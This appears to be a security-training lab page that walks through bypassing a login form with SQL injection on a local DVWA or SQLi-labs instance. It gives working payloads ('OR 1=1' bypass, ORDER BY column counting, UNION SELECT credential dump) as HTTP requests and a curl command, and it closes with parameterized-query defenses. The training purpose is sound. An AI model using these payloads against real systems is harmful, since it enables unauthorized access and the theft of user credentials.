SQLi Login Bypass
Bypass a vulnerable login form with a classic SQL injection payload, then escalate to dumping the users table.
↳ Based on the lesson: SQL InjectionLegal Use Only
SQL injection testing must only be performed on applications you own or have explicit written authorization to attack. Running these techniques against any production system without authorization is illegal. This lab targets DVWA or SQLi-labs running on your own VM - never a live site.
The login form trusts whatever you type in the username field. You're about to prove it shouldn't.
Scenario
You've found a legacy PHP application running on your lab VM. The login page accepts a username and password and passes them straight into a MySQL query with no sanitization. Your job is to log in without knowing any valid credentials, then extract the full users table from the database.
Setup - choose one:
# Option A: DVWA via Docker
$ docker run -d -p 8080:80 vulnerables/web-dvwa
# Navigate to http://localhost:8080 and set security level to Low
# Option B: SQLi-labs
$ docker run -d -p 8080:80 acgpiano/sqli-labs
# Navigate to http://localhost:8080/Less-11/ for a login form
# Option C: Any Metasploitable 2 VM on your host-only networkThe vulnerable SQL query on the server looks like this (you won't see it, but this is what runs):
SELECT * FROM users WHERE username='INPUT' AND password='INPUT';Your Objective
- Bypass the login form without knowing any real username or password
- Confirm you are authenticated as the first user in the database
- Dump the
userstable (usernames and password hashes) using a UNION-based payload - Capture the flag: the admin password hash
Hints
Hint 1 - break the query first
Before crafting a bypass, prove the field is injectable. Enter a single quote ' as the username. If the page throws a SQL error or behaves differently than entering a normal string, the field is vulnerable.
Hint 2 - the classic OR bypass
SQL is evaluated left-to-right. If you can make the WHERE clause always evaluate to TRUE, the database returns all rows and the application logs you in as the first one. Think about what OR '1'='1 does to a boolean expression.
Hint 3 - UNION to dump data
A UNION attack appends a second SELECT to the original query. You need to match the number of columns the original query returns. Start with UNION SELECT NULL,NULL-- and add NULLs until you stop getting an error. Then replace NULLs with column names from information_schema.tables.
Walkthrough
Step 1: Confirm the injection point
Enter a single quote in the username field and anything in the password field, then submit.
POST /login.php HTTP/1.1
Host: localhost:8080
Content-Type: application/x-www-form-urlencoded
username='&password=anythingIf the server replies with a MySQL error such as You have an error in your SQL syntax - the field is injectable. The single quote broke the query structure.
Step 2: Login bypass with OR injection
In the username field, enter the bypass payload. The password field can be anything.
POST /login.php HTTP/1.1
Host: localhost:8080
Content-Type: application/x-www-form-urlencoded
username=' OR '1'='1' --+&password=anythingThe server now executes:
SELECT * FROM users WHERE username='' OR '1'='1' --+' AND password='anything';Everything after --+ is a comment. The OR '1'='1' makes the WHERE clause always true. MySQL returns the first row in users - usually admin. You are now logged in.
Using curl:
$ curl -s -c cookies.txt -d "username=' OR '1'='1' --+&password=x&Login=Login" \
http://localhost:8080/vulnerabilities/sqli/Step 3: Count columns with ORDER BY
Before running a UNION attack, find the number of columns the original SELECT returns:
POST /login.php HTTP/1.1
Host: localhost:8080
Content-Type: application/x-www-form-urlencoded
username=' ORDER BY 1--+&password=xIncrement the number (ORDER BY 2, ORDER BY 3, ...) until you get an error. If ORDER BY 2 works but ORDER BY 3 errors, the query returns 2 columns.
Step 4: UNION SELECT to extract the users table
With 2 columns confirmed, craft a UNION payload to dump usernames and passwords:
POST /login.php HTTP/1.1
Host: localhost:8080
Content-Type: application/x-www-form-urlencoded
username=' UNION SELECT user,password FROM users--+&password=xThe server now returns rows from users alongside (or instead of) the original result. In DVWA, the page displays each row - you'll see usernames and their MD5 password hashes:
admin : 5f4dcc3b5aa765d61d8327deb882cf99
gordonb : e99a18c428cb38d5f260853678922e03
1337 : 8d3533d75ae2c3966d7e0d4fcc69216bStep 5: Enumerate the database with sqlmap (automated)
Solution
Login bypass payload:
' OR '1'='1' --+Why it works: The injected OR '1'='1' transforms the WHERE clause into WHERE username='' OR TRUE, which matches every row. The --+ comments out the rest of the original query (including the password check), so authentication is bypassed entirely regardless of what password you supply.
UNION dump payload:
' UNION SELECT user,password FROM users--+This appends a second query that returns every row from the users table, which the application then renders on screen - exposing all credential hashes.
Defend It
The fix: parameterized queries
The entire class of SQL injection is prevented by separating SQL code from user data. Use prepared statements where the query structure is compiled before any user input is supplied.
PHP (PDO) - the correct pattern:
# Vulnerable (string concatenation):
# $query = "SELECT * FROM users WHERE username='$username'";
# Safe (parameterized):
# $stmt = $pdo->prepare("SELECT * FROM users WHERE username = ?");
# $stmt->execute([$username]);Additional hardening:
- Principle of least privilege - the app's DB user should have SELECT only on the tables it needs, not CREATE/DROP/FILE.
- Disable verbose errors - never expose MySQL error messages in HTTP responses. Log them server-side instead.
- Web Application Firewall - a WAF adds a detection layer but is not a substitute for parameterized queries.
- Hash passwords with bcrypt - if an attacker does dump hashes, bcrypt makes cracking infeasible. MD5 hashes crack in seconds.